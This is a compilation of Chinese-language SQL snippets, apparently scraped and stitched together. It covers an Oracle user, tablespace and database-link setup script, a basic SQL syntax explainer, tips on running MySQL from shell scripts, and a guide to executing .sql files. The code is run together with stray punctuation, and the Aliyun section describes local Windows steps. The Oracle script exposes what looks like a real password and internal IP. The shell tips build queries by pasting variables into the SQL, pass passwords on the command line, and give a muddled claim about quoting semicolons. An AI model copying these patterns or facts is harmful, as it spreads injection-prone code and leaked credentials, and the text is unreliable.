Values('海北藏族自治州','25','289') INSERT T_City(CityName,ProID,CitySort) Values('西宁市','25','290')INSERT T_City(CityName,ProID,CitySort) Values('海东地区','25','291')INSERT T_City(CityName,ProID,CitySort) Values('黄南藏族自治州','25','292')。
oracle-sql脚本
oracle-sql脚本select * from dba_users;create tablespace kyc_coo;create user kyc_coo identified by "123456" default tablespace kyc_coo;create temporary tablespace kyc_temp;alter user kyc_coo temporary tablespace kyc_temp;select * from dba_directories;create directory dmp as '/ceph/fileserver/backup/oracle';grant create session,create view,create job to resource;grant read,write on directory dmp to resource;grant resource to kyc_coo;--授权,创建,修改(只修改服务名中的ip),查询,删除dblinkgrant create public database link,create database link to test;--两种⽅式create public database link accbakconnect to kyc_acc identified by "Lcpsys_kyc_1130"using '(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.8.161)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME =kyc_w)))';或者create public database link accbakconnect to kyc_acc identified by "Lcpsys_kyc_1130" using 'tdb';select * from dba_db_links;drop public database link accbak;select * from acct_account@accbak;--最后修改job中的表名。
sql script常用
sql script常用SQL脚本是用于执行数据库操作的一组SQL语句的集合。
常用的SQL脚本包括创建表、插入数据、更新数据、删除数据、查询数据等操作。
下面我将从这些方面对SQL脚本进行详细解释。
首先,创建表是SQL脚本中常见的操作之一。
通过CREATE TABLE语句可以创建新的数据库表,语法通常包括表名和列名及其数据类型等信息。
例如:sql.CREATE TABLE 表名 (。
列1 数据类型,。
列2 数据类型,。
...);其次,插入数据是SQL脚本中的另一个常用操作。
使用INSERT INTO语句可以向数据库表中插入新的数据行,语法通常包括表名和要插入的数值。
例如:sql.INSERT INTO 表名 (列1, 列2, 列3, ...)。
VALUES (值1, 值2, 值3, ...);接着,更新数据也是SQL脚本中常用的操作之一。
使用UPDATE 语句可以更新数据库表中的现有数据,语法通常包括更新的表名、要设置的新值以及更新条件。
例如:sql.UPDATE 表名。
SET 列1 = 新值1, 列2 = 新值2。
WHERE 条件;此外,删除数据也是SQL脚本中常见的操作。
使用DELETE FROM语句可以从数据库表中删除符合特定条件的数据行,语法通常包括要删除的表名和删除条件。
例如:sql.DELETE FROM 表名。
WHERE 条件;最后,查询数据是SQL脚本中最常用的操作之一。
使用SELECT 语句可以从数据库表中检索数据行,语法通常包括要检索的列名、要检索的表名以及检索条件。
例如:sql.SELECT 列1, 列2, ...FROM 表名。
WHERE 条件;除了上述常用的SQL脚本操作外,还有其他一些高级的操作,如联合查询、子查询、存储过程、触发器等,这些操作也是SQL脚本中常见且重要的部分。
希望以上对SQL脚本的解释能够帮助你更好地理解和使用SQL脚本。
Shell脚本编写的高级技巧使用数据库和SQL进行数据操作
Shell脚本编写的高级技巧使用数据库和SQL进行数据操作Shell脚本是一种在Unix或Linux操作系统中使用的脚本语言,它可以通过输入一系列的命令进行批量处理。
在Shell脚本编写的过程中,使用数据库和SQL进行数据操作的技巧可以大大提升效率和灵活性。
本文将介绍一些Shell脚本编写中使用数据库和SQL的高级技巧,帮助读者更好地进行数据操作。
1. 连接数据库在Shell脚本中连接数据库是进行数据操作的前提,常用的数据库有MySQL、Oracle和PostgreSQL等。
下面是一个连接MySQL数据库的示例代码:```shell#!/bin/bashDB_HOST="localhost"DB_USER="root"DB_PASS="password"mysql -h $DB_HOST -u $DB_USER -p$DB_PASS -e "USEdatabase_name; SQL命令"```2. 执行SQL命令连接数据库后,可以使用`mysql`命令执行SQL命令。
使用`-e`参数可以在命令行中直接输入SQL语句,例如:```shellmysql -h $DB_HOST -u $DB_USER -p$DB_PASS -e "USE database_name; SELECT * FROM table_name;"```需要注意的是,SQL语句中的分号`;`必须用双引号包含起来,以避免Shell解析时将其误认为是命令分隔符。
3. 使用变量构建SQL语句在进行数据操作时,经常需要根据不同的情况构建不同的SQL语句。
使用Shell脚本的变量可以方便地构建动态SQL语句。
```shell#!/bin/bashDB_HOST="localhost"DB_USER="root"DB_PASS="password"DB_NAME="database_name"TABLE_NAME="table_name"my_variable="some_value"sql="SELECT * FROM $DB_NAME.$TABLE_NAME WHERE column_name = '$my_variable';"mysql -h $DB_HOST -u $DB_USER -p$DB_PASS -e "$sql"```在上述示例中,通过使用Shell脚本的变量`my_variable`,可以构建出根据不同值进行查询的SQL语句。
阿里云mysql下如何执行sql脚本
阿⾥云mysql下如何执⾏sql脚本
⾸要步骤(⼀般可省略):
开启mysql服务(默认是开机时就⾃动运⾏了):
控制⾯板-->管理⼯具-->服务,在⾥⾯找到名称为mysql的项,双击就可看它的服务状态是启动还是停⽌,把它设为启动
连接mysql:
在命令⾏下输⼊ mysql -h localhost -u root -p回车,然后输⼊密码即可;或直接运⾏mysql⾃带的连接⼯具,然后输⼊密码即可.
1.编写sql脚本,假设内容如下:
create database dearabao;
use dearabao;
create table niuzi (name varchar(20));
保存脚本⽂件,假设我把它保存在F盘的hello world⽬录下,于是该⽂件的路径为:F:\hello world\niuzi.sql
2.执⾏sql脚本,可以有2种⽅法:
第⼀种⽅法:
在命令⾏下(未连接数据库),输⼊ mysql -h localhost -u root -p123456 < F:\hello world\niuzi.sql (注意路径不⽤加引号的!!) 回车即可.第⼆种⽅法:
在命令⾏下(已连接数据库,此时的提⽰符为 mysql> ),输⼊ source F:\hello world\niuzi.sql (注意路径不⽤加引号的) 或者 \. F:\hello world\niuzi.sql (注意路径不⽤加引号的) 回车即可。